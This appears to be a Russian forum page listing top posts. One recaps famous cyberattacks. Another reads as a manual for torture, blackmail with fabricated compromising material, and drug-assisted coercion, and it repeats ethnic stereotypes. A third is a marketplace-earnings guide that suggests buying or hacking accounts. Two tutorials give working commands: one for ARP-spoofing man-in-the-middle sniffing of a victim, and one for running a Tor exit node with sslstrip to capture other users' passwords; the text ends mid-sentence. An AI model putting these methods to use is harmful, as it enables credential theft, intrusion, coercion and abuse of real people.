Таблица лидеров
-
в Сообщения
- Все области
- Adverts
- Advert Questions
- Advert Reviews
- Файлы
- Комментарии к файлам
- Отзывы к файлам
- Записи блога
- Комментарии блога
- Изображения
- Комментарии к изображениям
- Отзывы к изображению
- Альбомы
- Комментарии к альбому
- Отзывы к альбому
- События
- Комментарии к событиям
- Отзывы к событиям
- Сообщения
- Статусы
- Ответы на статус
-
Пользовательская дата
-
Всё время
9 октября 2021 - 11 сентября 2025
-
Год
11 сентября 2024 - 11 сентября 2025
-
Месяц
11 августа 2025 - 11 сентября 2025
-
Неделя
4 сентября 2025 - 11 сентября 2025
-
Сегодня
11 сентября 2025
-
Пользовательская дата
21.04.2022 - 21.04.2022
-
Всё время
Популярные публикации
Отображаются публикации с наибольшей репутацией на 21.04.2022 в Сообщения
-
1 баллБрал самую дорогую , вместо ящика была полицейская машина , а а багажнике был ПМ и 20.000$ , пока не могу сказать настоящие или нет, потому что очень сильно похожи на оригинал , но в банк с ними идти боюсь
-
1 баллЧаще всего кибератака выглядит довольно обыденно: в худшем случае на экране у пользователя появляется уведомление, что его компьютер зашифрован, и требование заплатить выкуп. Зачастую же ничего видимого вообще не происходит — многие зловреды стараются вести себя максимально тихо и незаметно, чтобы успеть украсть как можно больше ценной информации до того, как их заметят. Но бывают кибератаки, которые привлекают внимание — либо своим масштабом, либо своей изощренностью. В этом посте мы расскажем о пяти наиболее выдающихся кибератаках последнего десятилетия. WannaCry: настоящая эпидемия После этой атаки о шифровальщиках в частности и о компьютерных зловредах вообще узнали даже те, кто раньше ничего похожего в жизни не слышал. Используя эксплойты из арсенала Equation Group, которые стали доступны публике благодаря хакерам Shadow Brokers, злоумышленники создали страшное чудовище — шифровальщика, который был способен быстро распространяться по Интернету и локальным сетям. В результате четырехдневной эпидемии WannaCry из строя вышли более 200 000 компьютеров в 150 странах. В том числе досталось и критической инфраструктуре — в некоторых больницах WannaCry зашифровал все устройства, включая медицинское оборудование, а некоторые заводы были вынуждены остановить производство. Из недавних атак WannaCry — самая масштабная. NotPetya/ExPetr: самая дорогая атака за всю историю При этом самой дорогостоящей атакой стала эпидемия не WannaCry, а другого шифровальщика — ExPetr, также известного как NotPetya. Принцип действия у него был тот же самый: используя эксплойты EternalBlue и EtrernalRomance, червь перемещался по Сети и безвозвратно шифровал все на своем пути. Эпидемия оказалась менее масштабной по общему количеству зараженных машин, однако в случае NotPetya основными жертвами стали бизнесы — в том числе потому, что одной из изначальных точек распространения было финансовое программное обеспечение MeDoc. Злоумышленникам удалось получить контроль над сервером обновлений MeDoc — и в результате множество клиентов, использующих это ПО, под видом обновления получили зловреда, который затем отправился распространяться по сети. Ущерб от кибератаки NotPetya оценивается примерно в $10 миллиардов, тогда как урон от WannaCry, согласно различным оценкам, находится где-то в пределах от 4 до 8 миллиардов долларов. Считается, что эпидемия NotPetya обошлась миру дороже любой другой отдельно взятой кибератаки. Хочется верить, что этот рекорд будет побит нескоро. Stuxnet: выстрелившее кибероружие Наверное, самая легендарная атака — сложный, комплексный зловред, который вывел из строя центрифуги для обогащения урана в Иране, замедлив иранскую ядерную программу на несколько лет. Именно после появления Stuxnet начали говорить об использовании кибероружия против промышленных систем. ⓘ Кибероружие представляет собой вредоносное ПО, используемое на государственном или международном уровне для получения ценных данных и достижения военных и политических целей. Ничего более сложного и хитроумного в то время просто не существовало — червь умел незаметно распространяться через USB-флешки, проникая даже в те компьютеры, которые не были подключены к Интернету или локальной сети. Червь вышел из-под контроля, быстро разошелся по миру и заразил сотни тысяч компьютеров. Впрочем, повредить этим компьютерам он не мог, потому что был создан для весьма специфической задачи. Как-либо проявлял себя червь только тогда, когда оказывался на компьютерах, управляющих программируемыми контроллерами и софтом Siemens. В этом случае он перепрограммировал контроллеры. Задавая слишком большие значения скорости вращения центрифуг для обогащения урана, он становился причиной их физического разрушения. Dark Hotel: шпионы в нумерах Не секрет, что публичные сети Wi-Fi в кафе или аэропортах могут быть не слишком безопасными. Но при этом многие верят, что в отелях-то все должно быть лучше: пусть даже сеть там и открытая, но хотя бы с какой-то нормальной авторизацией. Некоторым топ-менеджерам и высокопоставленным чиновникам такие представления дорого обошлись — при подключении к сети отеля им предлагали установить легитимное на первый взгляд обновление какого-нибудь популярного программного обеспечения, и как только они это делали, их устройства заражались шпионской программой Dark Hotel, которую злоумышленники специально внедряли в сеть за несколько дней до их приезда и убирали несколькими днями позже. ? Шпионская программа — программа, которая скрытным образом устанавливается на компьютер пользователя с целью сбора данных о нем и его системе. В отличие от вредоносного ПО, не наносят вреда операционной системе, программам или файлам. Незаметный шпион считывал нажатия клавиш, а также позволял злоумышленникам организовывать целевые фишинговые атаки. Mirai: падение Интернета О существовании ботнетов было известно давно, но появление «Интернета вещей» буквально вдохнуло в ботнеты новую жизнь: злоумышленники принялись массово заражать устройства, о безопасности которых никто толком не заботился и антивирусы для которых никто не писал. Дальше эти устройства искали другие такие же — и заражали уже их. Вся эта зомби-армада, построенная на зловреде с романтичным именем Mirai (в переводе с японского «будущее»), расширялась, росла и ждала команды. И однажды — 21 октября 2016 года — владельцы гигантского ботнета, просто пытаясь понять его возможности, заставили все эти миллионы цифровых видеорекордеров, роутеров, IP-камер и прочей «умной» техники завалить обращениями DNS-провайдера Dyn. Это называется DDoS-атака, и такой массированной атаки Dyn не выдержал. А вместе с DNS перестали быть доступны и сервисы, на него полагавшиеся: в США невозможно было пользоваться PayPal, Twitter, Netflix, Spotify, онлайн-сервисами PlayStation и много чем еще. Со временем Dyn удалось отбиться, но масштабная атака Mirai-ботнета заставила мир всерьез задуматься о безопасности «умных» вещей — это была более чем наглядная демонстрация того, что может произойти, если ей пренебрегать.
-
1 баллО продолжительности пыток: «Если в запасе много времени, гуманнее и эффективнее задействовать мало-помалу нагнетаемое давление на психику в сопровождении телесной боли, когда же времени почти что нет – проще воспользоваться примитивным физическим насилием». Об отношении к боли представителей различных характеров, рас и национальностей: цыгане, негры, китайцы и злостные профессиональные преступники пониженно воспринимают боль, а многие народы Севера (чукчи, якуты, эвенки) и голубоглазые светловолосые европейцы - переносят ее очень плохо; болтливые субъекты устойчивее к боли, чем ассоциалы; наркоманы, не находящиеся под влиянием наркотика, мучительно переживают боль; сильные эмоции (гнев, горе, ненависть) обычно приглушают боль; при ожидании болевого ощущения чувствительность на боль заметно повышается, особенно если субъект весьма ее не любит либо является трусом». О степени и признаках боли, влиянии на неё времени суток: значительная боль легко и надолго запоминается; острее всего боль испытывается ночью (при максимуме в 1 час ночи), слабее - днем, еще слабее - вечером; в особенности чувствительны к воздействию: пульпа зубов, глазные яблоки, область подмышек, кожа век, кости ключиц и пах; о том, что человек переживает мучительную боль обычно говорят cтиснутые зубы либо пронзительные крики и стоны, выпяченные глаза, расширенные ноздри, обильный пот, сильные расстройства кровообращения и дыхания (при затруднениях с последним багровеет лицо); когда боль длится слишком долго, возможны также бледность кожи, упадок сил, дрожь и, в конечном счете, обморок; знаком реальности испытываемого страдания надо считать не крики, а значительное расширение зрачков (при явной симуляции они заметно не меняются). Любое пыточное воздействие должно быть точно дозируемым, т.к., когда объект лишается сознания, оно становится бессмысленным. Для преодоления этой неприятности жертву окатывают холодной водой и вводят ей фармакостимуляторы». Пытают, при этом, по-разному: пропускают через отдельные части тела жертвы электрический ток; давят на психику при помощи сенсорной депривации в сочетании с физическим дискомфортом наподобие холода, голода и жажды, лишения сна; избивают; не брезгают отрезанием конечностей. Так как на палачей в ФСБ и других спецслужбах никого специально не учат, то и пытки являются производными от армейских, тренировочных. Хотя, спасает жертву это далеко не всегда. Между тем, сотрудники спецслужб считают особым шиком расколоть подозреваемого без каких-либо дополнительных усилий: шантажом, запугиванием и зомбированием. Иногда подозреваемый сдаётся уже на этапе запугивания – неудивительно, учитывая, что одним из методов называют отрезание пальца… или мочки уха, например. С шантажом тоже всё достаточно просто – компромат можно найти практически на каждого. Да и подбросить, как это часто показывают своим примером полицейские, не проблема. Но и по нему имеется чёткая инструкция: продемонстрировать серьезность и документированность компромата; уверить человека в твердой решимости задействовать этот компромат, если объект будет артачиться; убедительно доказать ему, что этому сообщению поверят; доступно описать реальные последствия поспешного неосмотрительного отказа; сообщить объекту, как он мог бы попытаться защититься, и почему это бессмысленно (т.е. "убить надежду"); предельно ограничить вариативность его выбора; давить фактором времени; подстраховаться дополнительным свежим компроматом. Факты обычно предъявляют: внезапно (ошарашивая объект); поочередно (по степени нарастания их силы). При предъявлении каких-то документов лучше всего демонстрировать их копии, чтобы субъект внезапно не изъял (с уничтожением) оригиналы. При отсутствии реальных документов можно блефовать, сообщая, что они имеются в наличии (хотя, если субъект уверен, что их нет, такие заявления лишь усилят вероятное сопротивление), либо конкретно указать их местонахождение, произнеся с усмешкой, что он может попробовать изъять этот компромат (это довольно эффективно, т.к. производит впечатление, что шантажирующий уверен в своих силах). Всегда остерегайтесь блефовать, если на этом могут поймать. При использовании предполагаемых фактов манипулировать необходимо предельно осторожно, реально ограничиваясь намеками и шуткам с внимательным отслеживанием реакций объекта. Довольно перспективно "раскачивание" человека намеками на некий очень вероятный, но совсем не явный факт; к решительному прессингу при этом переходят лишь после появления соответствующей реакции объекта. В предъявляемом наборе щекотливых материалов, предполагаемое надо размещать между вполне надежным. Активно оперируя умело сфабрикованными фактами, можно и не скрывать, что это - фабрикация, а иной раз утверждать, что это - истинная правда. Важно продемонстрировать взаимосвязь поддельного и подлинного и указать на невозможность обоснованного отрицания "фактуры", а также на то, что все воспримут материал именно так, как полагает шантажирующий. Объект может без промедления оценить правдивость сообщенного либо впрямую, либо позвонив по телефону. Добившись согласия объекта на сотрудничество, надо тотчас же задокументировать этот факт (видео- и аудиозапись, расписка, фотография) и (в частности, при сфабрикованной фактуре) попробовать разжиться у него добавочной компрометацией на самого себя либо авторитетных лиц в качестве свидетельства искренности согласия». А вот как описывают один из стандартных способов зомбирования: «Человека необходимо перевести из прежней (комфортной) среды обитания в новую (чужую и дискомфортную). Контакты с прежней полностью заблокировать. Режим дня при этом тоже меняется на самый неудобный субъекту. Окружающие должны вести себя по отношению к нему предельно неадекватно, вызывая максимум недоверия (доносы, угрозы, ложь, высмеивание всех ценностей субъекта). Новое питание должно быть преимущественно углеводным и безбелковым, с подмешиванием притупляющих сознание препаратов (к примеру, аминазина). Недосып обязателен. Как только субъект достигнет состояния тупого безразличия, следует провести необходимое кодирование его разума гипнозом либо другими методиками активного внушения». По сути, подобное зомбирование тоже можно охарактеризовать, как пытку, только куда более продолжительную, чем обычные. Её целью служит превращение обычного человека в доносчика.
-
1 баллПриветствую тебя, дорогой читатель. Уже не раз я радовал тебя серыми и чёрными схемами, с помощью которых с минимальными вложениями, можно зарабатывать неплохие деньги в интернете. Но в данной статье способ будет абсолютно белым (хотя и с применением некоторых, совсем совсем легоньких серых ниточек). Что же ты знаешь про Amazon, мой юный читатель? Некоторые не знают, наверное, вообще ничего. Слышали краем уха от соседа и то давно. Некоторые представляют себе америкосский вариант алиэкспресса, но мало кто знает, что это крупнейшая площадка для ведения онлайн бизнеса. В данной статье мы рассмотрим абсолютно легальный способ заработка, размер которого будет реально зависеть от ваших мозгов и приложенных усилий. Итак, речь пройдет о проекте Merch от Amazon. Данный проект был запущен примерно 2.5 года назад и набрал большой интерес со стороны забугровых интернет дельцов, не обошел он стороной и Россию. Но после резкого роста спроса на работу в данном проекте, процедуру регистрации там усложнили до жесточайших ограничений (некоторые люди ждут заветного письма по полгода). Чем же всех так манит этот проект? Всё просто - там можно очень хорошо зарабатывать, продавая продукцию амазона с нанесением своих дизайнерских макетов. Данная схема работы называется POD (Print on Demand – технология выпуска продукции, по требованию покупателя)! Тоесть вам не нужно ничего изготавливать, отправлять, общаться с клиентами тд. и тп. Вам просто нужно наваять кучу дизайнерских принтов, придумать свой бренд и начать размещать товары с нанесением вашего дизайна на Амазоне. Сколько на этом можно заработать? Роялити одной проданной футболки, ценой в 20$ составляет порядка 5.5$ вашей прибыли, кажется, что сумма не велика? Вот пример одного из участников который за несколько месяцев вышел на очень серьёзную оборотку: За 5 месяцев один из участников проекта вылез с 20$ до 6000$ Заканчивая вводную часть, я скажу, что это далеко не самый топовый заработок в данной сфере. С чего начать? Первый и самый важный момент — это процедура регистрации. Скажу сразу - если вы просто, от балды, попробуете зарегистрироваться, то в 90% случаев вы будете месяцами ждать ответа или получите отказ в регистрации. После получения отказа вы можете попытаться пройти регистрацию вновь: Оптимально пройти регистрацию в данном сервисе можно по следующему алгоритму. Заполняем всю анкету 2. Для регистрации из СНГ нам понадобиться счёт в системе Payoneer (Привязать счет банка РФ, БР, УКР не удастся!) Регистрация на Payoneer занимает до 3х дней, поэтому подготовьтесь заранее. 3. На странице банковских реквизитов вы вводите данные из своего кошелька Payoneer: Данные для заполнения берём из аккаунта Payoneer: После заполнения данных о платежной системе, для получения выплат от амазона вам необходимо пройти налоговое интервью. Информацию о нём вы можете найти здесь. Указываем, что не являемся агентом (чужих авторских прав): Если у вас нет ИНН то указываем как на схеме, а если есть ИНН то выбираем второй пункт: Зачем указывать ИНН? Объясняю, не указав свой ИНН, Вам придется платить 30% налога с продаж в казну США!!! Соглашаемся на электронную подпись: Ещё раз подтверждаем, что мы не гражданин США: Ставим свою электронную подпись: Ещё парочка подтверждений: Если всё прошло хорошо, то вы получите следующее сообщение: После этого нам останется последний шаг — это заполнение формы заявки на участие в проекте Merch Amazon В ней мы выбираем сферу деятельности (Novelty T-shirt Business) Далее пишем название вашей компании и переходим к последней (а скорее самой важной части) Для быстрого прохождения регистрации в данном сервисе нам понадобиться Сайт с регистрацией домена более 3х месяцев Аккаунт с пабликом в фейсбуке, обязательно наполненный контентом (можно попросить у друзей, можно купить) Аккаунт вк с пабликом (так же необходимо чтобы он был заполнен контентом по тематике продажи футболок и прочей продукции с уникальными принтами пример и ещё пример) как добыть аккаунты я думаю все знают, от покупки до взломов, не забывайте наша цель – чтобы одобрили регистрацию! Парочка аккаунтов Insta (либо прокачать через сервисы массфоловинга и масслайкинга, либо купить) Зарегистрироваться на соседних POD площадках, разместить там несколько дизайнов и указать ссылку в форме заявки (да Амазон не единственная площадка, работающая по данной схеме, но она самая жирная в плане трафика) список площадок: Redbubble Teepublic DesingByHumans Society6 Zazzle Spreadshirt Все эти ссылки указываем в поле дополнительной информации! Если вы всё сделали правильно, то регу вам одобрят в течении 5-10 дней и вы получите ваше письмо счастья: Если всё удалось, то это не значит, что вы заливаете пару принтов и начинаете зарабатывать тонну бабла, это значит, что теперь вам предстоит трудиться. Оптимизация продаж и хаки Как работает амазон? У любого товара на амазоне есть собственный рейтинг. Работает это таким образом – чем больше товар продается, тем ниже рейтинг в цифрах. Данный рейтинг называется BSR (Bestseller rank), соответственно вам необходимо проанализировать направления дизайнов, которые продаются лучше всего. Авторские права. Очень важный момент не использовать какие-либо материалы, защищенные авторскими правами, поэтому рекомендуем вам проверять вашу продукцию на сервисах антиплагиата перед размещением. Вот один из них это позволит вам избежать различных неприятностей. Исследования и выбор ниши – один из важнейших пунктов к тому, чтоб ваш товар успешно продавался, а вы соответсвенно обогащались. Для этого необходимо провести аудит поисковых запросов на амазоне, например вы хотели тематику, ну пусть будет цирковая, соответственно в поисковике амазона мы вбиваем circus t-shirts (или тот вид продукции, который вам интересен). Там мы находим товар с BSR 100-300 тысяч (то есть очень редко продающийся). Соответственно, разместив более привлекательный дизайн на подобном товаре, вы сможете вылезти среди конкурентов в данном сегменте! Проведя исследования, мы переходим к созданию собственного дизайна. Отделаться 5-10 вариантами дизайна даже не расчитывайте. Продаж на них у вас будет очень мало, поэтому, оптимально собрать реестр дизайнеров с fl.ru, разослать им техническое задание с идеями дизайна (которые у вас возникли в ходе исследования) и, соответственно, приобрести оригиналы наиболее крутых вариантов. Со временем вы наработаете мощную базу дизайнеров и сможете увеличить количество принтов на вашем аккаунте продавца! Выбор продукции для размещения вашего дизайна. Не стоит ограничивать себя только одним видом продукции (например футболками). Для этого существует специальный сервис, интегрируемый с Amazon под названием Shopify. Там мы получаем триал период для бесплатного использования Листаем страницу до приложения teelaunch Данное приложение автоматически обнаруживает заказ, печатает его и отправляет клиенту. Всё происходит автоматически без вашего участия! Данный сервис платный, но он стоит своих денег. В приложении есть редактор для размещения вашего дизайна на продукции. Разрешение принтов необходимо делать в высоком качестве. 4500х4500 будет в самый раз. После того как вы собрали свой модельный ряд в конструкторе, вам необходимо подключить аккаунт Shopify к Amazon Идёте в меню Shopify и выбираете add sales chanel Важно: Если у вас нет аккаунта продавца, зарегистрируйтесь. Вам будет действительно необходим профессиональный аккаунт продавца за 39.99$ в месяц для того, чтобы вся описанная схема работала. Примите требования Amazon и всё готово к продаже: После интеграции, заходим в приложение амазон и отправляем выбранные товары на продажу Обязательно пишите подробное описание товара и информацию о вашем бренде Запомните! Прежде, чем вы начнете продавать свои футболки на Amazon, вам нужно нажать «Apply to sell in this category» («Отправить заявку на продажу в данной категории»). Процесс подачи заявки заключается в ответах на несколько вопросов. После чего вы МОМЕНТАЛЬНО получаете доступ к категории. Также, вам потребуется сделать отдельные страницы для мужских и женских футболок. Мне эта особенность даже нравится, поскольку она позволяет более целенаправленно использовать метод ключевых слов. Для оптимизации продаж необходимо запомнить несколько основных правил: Управление ценой - вам всегда необходимо мониторить цены конкурентов, чтобы ваш товар был интересен покупателям Бренд и название. Используйте брендирование ваших товаров, а особо обращайте внимание на название. Чем больше ключевых слов вы используете в названии, тем больше шансов, что ваш товар будет выделен среди товаров конкурентов Описание. Обязательно используйте этот раздел, так как он влияет на поисковую выдачу в гугле! Увеличивайте охват за счет добавления новых товаров. В неделю необходимо добавлять от 10 и более товаров Добавляйте больше различных товаров, экономя на линейке размеров и цветов, так как на первом этапе амазон выставляет квоты на размещения до 100 товаров Тщательно следуя пунктам, описанным в данной статье, и методике регистрации, вы сможете выйти на заработок более 5000$ за 3-4 месяца. Стартовые вложения на запуск подобной торговли на амазон составят всего 200$, а если вы сам занимаетесь дизайном то и меньше.
-
1 баллНачнем по порядку. Установка и запуск WireShark WireShark - это известная утилита для анализа сетей. Для операционной системы Kali Linux она предоставлена в комплекте с набором основных программ. Есть версия для любителей Windows. Для установки на другие ОС Linux можно воспользоваться такой командой: sudo atp-get install wireshar После установки запустим утилиту. Можно запустить с помощью команды: sudo wireshark Интерфейс wireshark Дальше необходимо выбрать один из предложенных интерфейсов и начать анализ трафика. После запуска интерфейс программы будет разделен на три блока. Разделения интерфейса после запуска блок - настройка и управления утилитой. блок - пакеты, которые были перехвачены. блок - информация для расшифровки и получения данных с пакетов. Для тестирования можно открыть браузер и начать заходить на разные сайты, входить в формы авторизации, добавлять картинки и т.д. Потом можно остановить wireshark и посмотреть, какие данные были получены. Но так как в нашу утилиту попадают тонны трафика, то нужно использовать фильтры: 1. ip.proto - протокол 2. ip.src - отправитель 3. ip.dst - получатель 4. ip.addr - любой адрес Фильтры поддерживают использование логических операторов и выражений: == - присваивание || - логическое или & - логическое и > - больше < - меньше На примере можно использовать метод "GET". Введем в поле фильтра запрос "http.request.method == "GET". Находим запись и нажимаем правой кнопкой мыши Follow->TCP Stream. У меня получилось проанализировать пакет, в котором была загружена картинка на хост. Был получен формат, а также другая информация в USEr-Agent. Вот такими способами можно отсеивать не нужную информацию и искать полезные данные в WireShark. Таким способом можно получить авторизационные данные, а также полностью расшифровывать пакеты "telnet". Пример перехваченного пакета Сбор информации Далее нам нужно получить информацию о пользователях. Для этого можно использовать две утилиты netdiscover и fping. Начнем с первой, чтобы быстро получить список активных участников сети можно воспользоваться Nmap или netdiscover, но последний способ быстрее. sudo netdiscover После этого получаем информацию об участниках сети. Участники сети Если у вас очень много участников в сети, то можно воспользоваться утилитой fping. Для того чтобы просканировать необходимо ввести команду. После этого активные хосты будут отображены в файле: fping -Asg 192.168.1.0/24 -r 3 >> hosts_active.txt Информация об участниках в файле Эту информацию можно использовать в WireShark. Например, для фильтрации по конкретному IP, можно воспользоваться командой: ip.addr==192.168.0.100 Фильтрация по IP Или, например, фильтрация по MAC-адресу: eth.addr==68:3e:xx:xx:xx:xx Фильтрация по MAC-адресу Можно комбинировать запросы логическим «или» - ||: eth.addr==68:3e:xx:xx:xx:xx || igmp Комбинирование двух разных запросов MITM-атака Это, по сути, процесс, когда вы располагаетесь между роутером и пользователем сети и начинаете слушать все пакеты. Принцип действий хорошо показан на картинке: MITM-атака Для этих задач есть специальные утилиты, но можно сделать все и ручками. Для этого необходимо сначала включить IP-форвординг и изменить правила iptablex: sudo cat /proc/sys/net/ipv4/ip_forward #Проверка форвординга пакетов, если -включен, если 0-выключен. echo "1" > /proc/sys/net/ipv4/ip_forward #Включаем форвординг пакетов iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8282 #Перенаправляем трафик с 80 порта на 8282 iptables -t nat -A PREROUTING -p tcp --destination-port 443 -j REDIRECT --to-port 8282 #Перенаправляем трафик с 443 порта на 8282 Далее необходимо запустить команду. Перед этим обязательно запустить WireShark для снифа трафика, чтобы потом его можно было проанализировать: arpfpoof -i <interface> -t <жертва> <шлюз> Например, если вы проводите эту атаку в сети и IP нашей цели 192.168.0.100, то команда будет иметь такой вид: arpspoof -i wlp3s0 -t 192.168.0.100 192.168.0.1 Далее с фильтрами и другими данными информация анализируется в WireShark. Заключение Внимательно относитесь к использованию Wi-Fi в публичных сетях. Возможно, кто-то перехватывает ваш трафик. Поэтому лучшие не использовать недостоверные сети для передачи важных и конфиденциальных данных.
-
1 баллЕсли ты считаешь, что Tor — это исключительно средство для обеспечения приватности в сети, то ты неправ дважды. Во-первых, его распределенную сеть можно использовать в разных целях. А, во-вторых, не так уж безопасен черт, как его малюют. Увы. Замечательный инструмент для обеспечения анонимности и сохранности данных в сети хорош по многим причинам. Сразу остаются не у дел любые сниферы, в том числе установленные и на интернет-маршрутизаторах, потому как весь трафик передается через цепочку узлов исключительно в зашифрованном виде. Крайне затруднительно или, если полностью поверить разработчикам, то даже невозможно становится отследить источник отправки данных благодаря постоянно меняющимся цепочкам специальных узлов-посредников, через которые передаются данные. Кто не пробовал использовать Tor, чтобы банально сменить свой IP? Минус на первый взгляд один — скорость работы. Каждый из нодов, входящих в цепочку, вносит серьезную задержку, как по времени отклика, так и банально по ширине канала. В результате получаем анонимное соединение. Анонимное и модемное :). Но диалапный коннект — это не самая главная проблема активных пользователей Tor. Гораздо сильнее их должно волновать, что любые данные можно перехватить и, черт подери, сделать это просто! Откуда берутся… ноды Чтобы пустить трафик приложения через Tor, достаточно указать в настройках прокси — адрес локального SOCKS-сервера. В случае, если такой возможности не предусмотрено можно использовать соксофикатор (например, Sockcap), но помнить при этом, что через сокс можно пустить только TCP-трафик. Впрочем, для большинства пользователей намного более интересны будут готовые сборки (так называемые Bundles), включающие сам Tor, а также преконфигурированные браузер Firefox и IM-клиент Pidgin. Поставил и все работает! Кстати говоря, для большего удобства для Firefox’а реализован плагин Torbutton. Щелкнул — и весь безопасно трафик уже передается через цепочку промежуточных узлов. Что вообще представляют собой эти узлы и как в принципе устроен Tor? Попробуем разобраться. В основе лежит распределенная система узлов — так называемых нод, между которыми в зашифрованном виде передаются данные. Для соединения обычно используется три сервера, которые образуют временную цепочку. Каждый сервер выбирается случайным образом, при этом он знает только то, от какого звена получил данные и кому они предназначаются. Мало этого — цепочки постоянно меняются. Даже в случае перехвата данных на одном из серверов отследить полный маршрут пакетов (в том числе и их отправителя) не представляется возможным. Перед отправлением пакет последовательно шифруется тремя ключами: сначала для третьей ноды, потом для второй и, в конце концов, для первой. Когда первая нода получает пакет, она расшифровывает «верхний» слой шифра и узнает, куда отправить пакет дальше. Второй и третий сервер поступают аналогичным образом. Где зарылась собака? Итак, маршрут постоянно меняется, данные через промежуточные узлы проходят в виде белиберды, т.е. в зашифрованном виде — где подвох? Он есть. Ведь, как серьезно бы ни защищались данные, как изощренно не выбирался и запутывался маршрут, где-то на выходе данные все равно нужно расшифровывать. Ведь только так их можно доставить до места назначения. Эта операция осуществляется на последней ноде в цепочке — так называемой выходной нодой (Exit Node). Если на таком узле установить снифер, то данным ничего больше не останется, как прямиком попасть в логи :). Ты можешь подумать, что система такого положения дел не допускает и поднять Tor для работы выходной ноды нельзя? Запросто! Вся система строится на большом количестве энтузиастов, участвующих в проекте и предоставляющие свои домашние компьютеры как ноды, и в том числе выходные. Несколько строчек кода в конфиге —твой билет их ряды. Да здравствует Exit node! Ну что ж, приступим. Для экспериментов нам понадобится любой никсовый дистрибутив, пускай даже это будет Backtrack, запущенный с флешки, или Ubuntu на виртуальной машине — это совершенно не нужно. Далее потребуется последняя версия Tor (на момент публикации — 0.2.1.19). Любители GUI также могут скачать и установить Vidalia — мы же будем работать в консоли. Итак скачиваем пакет, распаковываем и устанавливаем. Я думаю на этой стадии никаких проблем быть не должно. Для Tor’а важно, чтобы часы были установлены точно. В противном случае — синхронизируем с публичными серверами времени. Забегая вперед скажу, что для запуска Tor лучше создать отдельного пользователя — делается это командой adduser. Я создал себе пользователя toruser: uid=111(toruser) gid=10(wheel) groups=0(wheel),10(wheel). Теперь нужно создать файл конфигурации. Tor использует для хранения своих данных папку .tor в домашней директории пользователя (/home/toruser). Создаем папку .tor, создаем в ней файл torrc и открываем его в текстовом редакторе. Нас интересует несколько параметров : ControlPort – на этом порту Tor будет принимать подключения для управления Tor-сервером (т.е. можно подключиться удаленно для конфигурации Tor’а, опция важна для тех, кто использует графические оболочки типа Vidalia или Tork). Устанавливаем его в 9051. DirPort – на этом порту Tor будет принимать данные от сервера директорий. Устанавливаем в 9030. ControlPort 9051 DirPort 9030 ExitPolicy – определяет, какой трафик мы будем принимать и форвардить. Имеет формат "ExitPolicy Accept | reject address:port". По умолчанию политика следующая: reject *:25 reject *:119 reject *:135-139 reject *:445 reject *:563 reject *:1214 reject *:4661-4666 reject *:6346-6429 reject *:6699 reject *:6881-6999 accept *:* Означает, что мы будем резать трафик, направленный на вышеперечисленные порты, а весь остальной будем пропускать. В принципе можно ее и не переопределять и оставить дефолтной, ну это уж на твой выбор. Я использовал следующую: ExitPolicy accept *:80, accept *:443, accept *:110, accept *:143, accept *:993, accept *:995, reject *:* HashedControlPassword – хеш пароля для доступа и конфигурации Tor-сервера (чтобы никакой злобный хакер не смог переконфигурировать наш сервер), создается при помощи команды: tor —hash-password. Nickname – имя нашего сервера. ORPort – порт, ожидающий подключения от других нодов. SocksListenAddress — адрес, по которому Tor будет ждать подключений от приложений, работающих через SOCKS. Формат: SocksListenAddress IP[:PORT] Установим IP в 127.0.0.1, а порт оставим дефолтным (9050). Это понадобится нам, если мы захотим использовать Tor в связке с Privoxy или другими прокси. HashedControlPassword 16:91495A0B7CBC41C76073E1EC00A5CF1510D41462884391CCB24BF489F1 Log notice stdout – выводить сообщения в консоль Nickname HelloXakep ORPort 9001 SocksListenAddress 127.0.0.1 Сохраняем изменения и закрываем файл. Можно приступать к запуску. Открываем консоль, логинимся под toruser и запускаем Tor, передав в качестве параметра путь до конфиг-файла: $ tor -f /home/toruser/.tor/torrc И смотрим выдаваемые сообщения. Как только сервер сможет подсоединиться к сети, он попытается определить доступность своих портов снаружи. Это может занять до 20 минут. В логах появятся сообщения вида "Self-testing indicates your ORPort is reachable from the outside. Excellent". Если таковых нет, это значит,что сервер недоступен из Сети — тогда следует перепроверить файрволл. Как только сервер определит доступность, он загрузит на сервер директорий (базу нод) свой дескриптор. Это позволит клиентам узнать адрес, порты, ключи и другую информацию о нашем сервере. Можно зайти на http://moria.seul.org:9032/tor/status/authority и найти там nickname своего сервера, чтобы убедиться, что он будет использоваться клиентами. Правда,обновляется он не моментально — иногда может потребоваться некоторая время,чтобы эта информация в базе обновилась. Вот и появился наш сервер в списке. Посмотрим на строчку ниже HelloHacker. Что мы видим: s Exit Fast Running V2Dir Valid. Exit — означает, что мы являемся Exit Node! Ловись-ловись, рыбка. Итак, выходная нода настроена, запущена, добавлена в базу — кто-нибудь обязательно ею воспользуется уже в самое ближайшее время. Что ж, остается только запустить любимый снифер Wireshark, выбрать Интерфейс, смотрящий во внешнюю сеть и включить захват пакетов. А дальше нужно чуть подождать. В большинстве случаев пакеты начинают сыпаться в логи уже очень скоро :)) После этого можно отключить захват и проанализировать полученный дамп (например, осуществить поиск строки pass в пакетах). Как ты знаешь HTTP-протокол передает все в открытом виде, так что может попасться что-нибудь интересное (мне за 40 минут работы попались 2 логина и пасса к забугорным трекерам). Согласись, неплохо. Но все же самое вкусное пролетает мимо нас (вернее проходит то оно как раз через нас, но зашифрованным). Но и тут есть выход. Скачиваем sslstrip и устанавливаем. Запускаем: $ python sslstrip.py -a -l 8080 -w today.log Так как мы являемся последним узлом, то трафик от предыдущего узла передается зашифрованным, расшифровывается на нашем сервере и уже потом отправляется конечному адресату. Итак, нам необходимо пропускать исходящий http трафик через sslstrip. Для этого добавим в iptables такое правило: $ iptables -t nat -I OUTPUT -p tcp -m owner -uid-owner 111 --dport 80 -j DNAT --to-destination 127.0.0.1:8080 где 111 — id пользователя toruser. Иными словами, мы задаем, чтобы весь исходящий HTTP-трафик пользователя toruser шел на sslstrip. Все, теперь процесс полностью автоматизирован, а нам осталось только ждать. А потом проверять логи. Анонимное сканирование. Перехватывать чужие логины и пароли мы научились. А вот задачка поинтересней. Сталкивался ли ты c ситуацией, когда ты находишься во внутренней сети, а посканировать интересующий тебя сервак нельзя, потому как это тут же привлечет внимание IDS и соответственно админа. Или вот еще вариант: ты сканируешь удаленный хост, а он распознает сканирование и блокирует твой айпишник. Неприятные ситуации. Но и из них есть выход! Нам опять поможет Tor, который можно использовать в качестве посредника для сканирования. Ведь, кто говорил, что эта система можно использовать только для анонимного серфинга? В чем преимущество такого сканирования? В нашем первом случае сканирование сервера будет происходить из инета, а не из локальной сети. А во втором, даже если нас заблокируют, мы всегда сможем пустить трафик через другой Tor-сервер,благо их хватает. Итак, для наших 